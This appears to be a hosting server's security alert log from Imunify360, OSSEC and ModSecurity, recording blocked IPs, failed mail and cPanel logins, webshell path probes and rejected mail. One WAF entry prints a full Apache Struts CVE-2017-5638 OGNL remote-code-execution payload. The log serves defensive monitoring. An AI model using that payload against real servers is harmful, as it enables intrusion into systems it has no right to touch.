Jan 20 21:14:02 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.253.159.88 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.223.251.147
country_id: 2395170
description:
Jan 20 21:14:38 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.223.251.147 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 14.139.107.146
country_id: 1269750
description:
2026-01-20 21:16:53 dovecot_login authenticator failed for H=([14.139.107.146]) [14.139.107.146]:45242: 535 Incorrect authentication data (set_id=gabriela_faulkner@sutsb.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 14.139.107.146
country_id: 1269750
description:
Jan 20 21:16:51 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 14.139.107.146 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.60.130.198
country_id: 130758
description:
2026-01-20 21:17:23 dovecot_login authenticator failed for H=(localhost) [62.60.130.198]:51449: 535 Incorrect authentication data (set_id=cosadmin)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 62.60.130.198
country_id: 130758
description:
Jan 20 21:17:21 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 62.60.130.198 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 154.144.255.210
country_id: 2542007
description:
2026-01-20 21:17:14 dovecot_login authenticator failed for H=([154.144.255.210]) [154.144.255.210]:57264: 535 Incorrect authentication data (set_id=gabriela_faulkner@sutsb.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.190.204.196
country_id: 3469034
description:
Jan 20 21:19:03 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.190.204.196 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.219.106.84
country_id: 798544
description:
Jan 20 21:19:24 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.219.106.84 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 66.154.106.19
country_id: 6252001
description:
2026-01-20 21:19:45 dovecot_plain authenticator failed for H=(saling) [66.154.106.19]:39258: 535 Incorrect authentication data (set_id=support@fkr.com.my)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.129.199
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/fphortier/images/cdn-cgi/l/cdn-cgi/l/cdn-cgi/l/cdn-cgi/l/index.php||SC:/home/sutsbcom/public_html/fphortier||


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 113.211.124.53
country_id: 1733045
description:
[2026-01-20 21:21:24 +0800] info [webmaild] 113.211.124.53 - s-osada@mckd.com.my "GET / HTTP/1.1" DEFERRED LOGIN webmaild: security token missing


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 76.145.10.140
country_id: 6252001
description:
Jan 20 21:22:34 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 76.145.10.140 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 76.145.10.140
country_id: 6252001
description:
2026-01-20 21:22:36 dovecot_plain authenticator failed for H=c-76-145-10-140.hsd1.ga.comcast.net (aearcoely) [76.145.10.140]:35640: 535 Incorrect authentication data (set_id=leeyw@fkr.com.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 196.177.161.4
country_id: 2464461
domain: tujusetia.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/tujusetia.my/wp-content/uploads/2018/05/N-1-1024x654.png HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.129.199
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/wp-content/themes/images/introduction-service.php||SC:/home/sutsbcom/public_html/wp-content/themes/images||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.150.65
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/index.php/malaysia-infinity-design-projects/residential/images/images/about.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.133.63
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/services/images/sliders/cdn-cgi/l/company.php||SC:/home/sutsbcom/public_html/services||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 203.161.55.17
country_id: 6252001
description:
Jan 20 21:23:57 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 203.161.55.17 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 149.19.164.123
country_id: 3469034
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/dsc-expat.com/idea/13/379/1354917 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77350586
name: IM360 WAF: Suspicious access to wp-includes library directory
abuser: 41.90.34.33
country_id: 192950
domain: sutsb.com.my
description:
IM360 WAF: Suspicious access to wp-includes library directory||SC:/home/sutsbcom/public_html/wp-includes/SimplePie/src/Category.php||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.143.119
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/index.php/img/photos/images/about.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 73.57.80.193
country_id: 6252001
description:
Jan 20 21:29:27 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 73.57.80.193 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 73.167.46.44
country_id: 6252001
description:
Jan 20 21:29:27 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 73.167.46.44 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 73.167.46.44
country_id: 6252001
description:
2026-01-20 21:29:29 dovecot_plain authenticator failed for H=c-73-167-46-44.hsd1.ma.comcast.net (irberstr) [73.167.46.44]:35764: 535 Incorrect authentication data (set_id=sales@sutsb.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 73.57.80.193
country_id: 6252001
description:
2026-01-20 21:29:29 dovecot_plain authenticator failed for H=c-73-57-80-193.hsd1.fl.comcast.net (unariannic) [73.57.80.193]:44888: 535 Incorrect authentication data (set_id=admin@ajresorts.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 181.16.212.233
country_id: 3865483
description:
Jan 20 21:31:26 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 181.16.212.233 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.84.133.235
country_id: 1210997
domain: www.usfood.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.usfood.com.my/about.php HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 46.151.182.48
country_id: 2750405
description:
2026-01-20 21:33:40 H=([46.151.182.48]) [46.151.182.48]:61038 F=<stacy@ktlog.com.my> rejected RCPT <stacy@ktlog.com.my>: smtp auth required


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 203.161.55.17
country_id: 6252001
description:
Jan 20 21:33:09 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 203.161.55.17 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.143.119
country_id: 1880251
domain: indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/keyword/images/video.php||SC:/home/indfinitydesign/public_html/keyword||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 196.251.102.22
country_id: 241170
description:
Jan 20 21:40:48 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 196.251.102.22 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.140.4
country_id: 1880251
domain: indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/keyword/img/photos/druma.php||SC:/home/indfinitydesign/public_html/keyword||


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 175.139.12.169
country_id: 1733045
description:
Jan 20 21:42:02 sv3 pure-ftpd[1942449]: (?@175.139.12.169) [INFO] New connection from 175.139.12.169


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.139.10.218
country_id: 2300660
description:
Jan 20 21:42:20 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.139.10.218 has been locked due to Imunify RBL


plugin: ossec
rule: 11313
name: FTP file uploaded to server
abuser: 175.139.12.169
country_id: 1733045
description:
Jan 20 21:42:22 sv3 pure-ftpd[1942543]: (oxboldc@175.139.12.169) [NOTICE] /home/oxboldc//public_html/images/charts/oxbold-clients-world-map.jpg uploaded  (115488 bytes, 4727.17KB/sec)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.120.77.230
country_id: 3469034
description:
Jan 20 21:43:34 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.120.77.230 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 161.142.150.183
country_id: 1733045
description:
161.142.150.183 - - [20/Jan/2026:21:45:40 +0800] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10132680&pdata=https%253A%252F%252Fmckd.com.my%253A2096%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1768916739 HTTP/2.0" 302 0 mckd.com.my "https://mckd.com.my:2096/" "Mozilla/5.0 (iPhone; CPU iPhone OS 18_7 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/26.2 Mobile/15E148 Safari/604.1" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:161.142.150.183


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 203.161.55.17
country_id: 6252001
description:
Jan 20 21:45:54 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 203.161.55.17 has been locked due to Imunify RBL


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 161.142.150.183
country_id: 1733045
description:
[2026-01-20 21:45:40 +0800] info [webmaild] 161.142.150.183 - s-osada@mckd.com.my "GET / HTTP/1.1" DEFERRED LOGIN webmaild: cookie ip check: IP address has changed: IP Address [113.211.124.53] != Current IP Address [161.142.150.183]


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 157.49.164.1
country_id: 1269750
domain: www.oxbold.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.oxbold.com/carsdrifthowtogetthere.htm HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 175.139.12.169
country_id: 1733045
description:
Jan 20 21:48:35 sv3 pure-ftpd[1946301]: (?@175.139.12.169) [INFO] New connection from 175.139.12.169


plugin: ossec
rule: 11313
name: FTP file uploaded to server
abuser: 175.139.12.169
country_id: 1733045
description:
Jan 20 21:48:35 sv3 pure-ftpd[1946301]: (oxboldc@175.139.12.169) [NOTICE] /home/oxboldc//public_html/companyprofile.htm uploaded  (54962 bytes, 3076.02KB/sec)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 123.231.85.226
country_id: 1227603
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/dsc-expat.com/go/7/402/756414 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 196.251.102.22
country_id: 241170
description:
Jan 20 21:54:43 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 196.251.102.22 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 203.161.55.17
country_id: 6252001
description:
Jan 20 21:55:17 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 203.161.55.17 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-20 21:56:00 H=([45.144.212.242]) [45.144.212.242]:62022 F=<no_reply@admin.com> rejected RCPT <joseph@symphony-led.com>: Sender verify failed


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.191.90.21
country_id: 1562822
domain: aoto.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/aoto.com.my/ HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.136.174
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/services/survey-meter/images/sliders/contact.php||SC:/home/sutsbcom/public_html/services||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.139.44.8
country_id: 2300660
description:
Jan 20 21:58:52 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.139.44.8 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.139.44.8
country_id: 2300660
description:
Jan 20 21:59:02 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.139.44.8 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.181.28.90
country_id: 3469034
description:
Jan 20 21:59:29 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.181.28.90 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 77.90.185.250
country_id: 2921044
description:
Jan 20 22:01:58 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 77.90.185.250 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 203.161.55.17
country_id: 6252001
description:
Jan 20 22:07:59 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 203.161.55.17 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.21.243.58
country_id: 1814991
description:
2026-01-20 22:13:03 dovecot_login authenticator failed for H=([218.21.243.58]) [218.21.243.58]:46344: 535 Incorrect authentication data


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.215.132
country_id: 1733045
description:
2026-01-20 22:14:35 dovecot_login authenticator failed for H=([192.168.1.48]) [113.211.215.132]:54611: 535 Incorrect authentication data (set_id=admin@autogreastar.com.my)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.136.174
country_id: 1880251
domain: sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/wp-content/themes/clean-commerce/third-party/images/sliders/cdn-cgi/l/cdn-cgi/l/Personal_Dosimetry_Service.php||SC:/home/sutsbcom/public_html/wp-content/themes/clean-commerce||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.215.132
country_id: 1733045
description:
2026-01-20 22:15:25 dovecot_login authenticator failed for H=([192.168.1.48]) [113.211.215.132]:54633: 535 Incorrect authentication data (set_id=josephlee@autogreastar.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 203.161.55.17
country_id: 6252001
description:
Jan 20 22:17:14 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 203.161.55.17 has been locked due to Imunify RBL


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 42.105.158.31
country_id: 1269750
domain: tujusetia.my
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:61823.tujusetia.my||ServerName:tujusetia.my||Method:metaWeblog.newPost||BlogID:1||TitleSHA:3d33acbe39449d668d258019f3cdad1cd4c87f50||Title:0x5d37c212||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 190.62.88.221
country_id: 3585968
domain: figofoods.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/figofoods.com.my/img/photos/717607.jpg HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 94.232.27.178
country_id: 1512440
domain: figofoods.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/figofoods.com.my/img/photos/665233.jpg HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 154.255.94.222
country_id: 2589581
domain: figofoods.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/figofoods.com.my/img/photos/100379.jpg HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 39.49.110.123
country_id: 1168579
domain: figofoods.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/figofoods.com.my/img/photos/676368.jpg HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 77.90.185.40
country_id: 2921044
description:
Jan 20 22:25:12 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 77.90.185.40 has been locked due to Imunify RBL


plugin: modsec
rule: 77243930
abuser: 116.122.37.78
country_id: 1835841
domain: 42.0.28.70
name:
IM360 WAF: Remote code execution in Apache Struts versions 2.3.31 - 2.3.5 and 2.5 - 2.5.10 (CVE-2017-5638)

description:
IM360 WAF: Remote code execution in Apache Struts versions 2.3.31 - 2.3.5 and 2.5 - 2.5.10 (CVE-2017-5638)||MVN:REQUEST_HEADERS:Content-Type||MV:%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c','echo windows--2017'}:{'/bin/bash','-c','echo linux--2017'})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 203.161.55.17
country_id: 6252001
description:
Jan 20 22:29:54 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 203.161.55.17 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 77.90.185.41
country_id: 2921044
description:
Jan 20 22:33:59 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 77.90.185.41 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 203.161.55.17
country_id: 6252001
description:
Jan 20 22:39:08 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 203.161.55.17 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-20 22:39:30 H=([45.144.212.242]) [45.144.212.242]:57832 F=<no_reply@admin.com> rejected RCPT <aoto@aoto.com.my>: Sender verify failed


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-20 22:39:57 H=([45.144.212.242]) [45.144.212.242]:52298 F=<no_reply@admin.com> rejected RCPT <info@aire-fresh.com>: Sender verify failed


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 170.247.223.82
country_id: 6252001
description:
[2026-01-20 22:45:36 +0800] info [webmaild] 170.247.223.82 - angiehng@manforce.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 193.34.75.4
country_id: 6252001
description:
[2026-01-20 22:45:37 +0800] info [webmaild] 193.34.75.4 - manforce@manforce.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 203.161.55.17
country_id: 6252001
description:
Jan 20 22:51:47 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 203.161.55.17 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.136.174
country_id: 1880251
domain: sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/wp-content/images/cdn-cgi/l/cdn-cgi/l/cdn-cgi/l/cdn-cgi/l/news.php||SC:/home/sutsbcom/public_html/wp-content/images||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 196.251.102.22
country_id: 241170
description:
Jan 20 22:57:18 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 196.251.102.22 has been locked due to Imunify RBL


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 175.100.79.214
country_id: 1831722
domain: www.oxbold.com
description:
IM360 WAF: Found crawler not in whitelist||RSV:7.64||T:APACHE||RA:175.100.79.214||TA:175.100.79.214||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 203.161.55.17
country_id: 6252001
description:
Jan 20 23:01:00 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 203.161.55.17 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 122.114.11.109
country_id: 1814991
description:
2026-01-20 23:03:18 H=(localhost.localdomain) [122.114.11.109]:33908 F=<info@hausproperties.com> rejected RCPT <info@symphony-led.com>: SPF: 122.114.11.109 is not allowed to send mail from hausproperties.com


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 179.189.204.215
country_id: 3469034
description:
2026-01-20 23:04:26 dovecot_login authenticator failed for H=(213.5.130.96) [179.189.204.215]:44091: 535 Incorrect authentication data (set_id=suraya.mohd-sapia@cofreth.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 117.250.149.25
country_id: 1269750
description:
Jan 20 23:03:59 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 117.250.149.25 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 77.83.39.106
country_id: 690791
description:
2026-01-20 23:04:13 H=([77.83.39.106]) [77.83.39.106]:59376 F=<harshit.m@lizindia.com> rejected RCPT <sales@cordage.com.my>: SPF: 77.83.39.106 is not allowed to send mail from lizindia.com


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 62.60.130.227
country_id: 130758
description:
2026-01-20 23:04:21 H=([62.60.130.227]) [62.60.130.227]:58373 F=<newsletter@email.lifecare-news.com> rejected RCPT <prayerlink@agpc.org.my>: SPF: 62.60.130.227 is not allowed to send mail from email.lifecare-news.com


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 77.90.185.250
country_id: 2921044
description:
Jan 20 23:05:56 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 77.90.185.250 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.155.111
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/img/photos/cdn-cgi/l/cdn-cgi/l/news.php||SC:/home/sutsbcom/public_html/img||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 37.239.80.5
country_id: 99237
domain: task.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/task.visoft.com.my/vendor/league/flysystem/src/Adapter/AbstractFtpAdapter.php HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 203.161.55.17
country_id: 6252001
description:
Jan 20 23:13:44 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 203.161.55.17 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-20 23:16:22 H=([45.144.212.242]) [45.144.212.242]:58103 F=<no_reply@admin.com> rejected RCPT <garylee@autogreastar.com.my>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 203.161.55.17
country_id: 6252001
description:
Jan 20 23:22:58 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 203.161.55.17 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.89.136.252
country_id: 3469034
description:
Jan 20 23:23:39 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.89.136.252 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 191.101.157.240
country_id: 2921044
description:
2026-01-20 23:24:23 dovecot_login authenticator failed for H=(scanner.local) [191.101.157.240]:31771: 535 Incorrect authentication data (set_id=AB\023)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 191.101.157.240
country_id: 2921044
description:
2026-01-20 23:26:08 dovecot_login authenticator failed for H=(scanner.local) [191.101.157.240]:14580: 535 Incorrect authentication data (set_id=AB\023)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 172.125.13.11
country_id: 6252001
description:
Jan 20 23:27:33 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 172.125.13.11 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 172.125.13.11
country_id: 6252001
description:
2026-01-20 23:27:35 dovecot_login authenticator failed for H=(172-125-13-11.lightspeed.rcsntx.sbcglobal.net) [172.125.13.11]:55540: 535 Incorrect authentication data (set_id=myloo@euratech.com.my)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.133.63
country_id: 1880251
domain: sutsb.com.my
description:
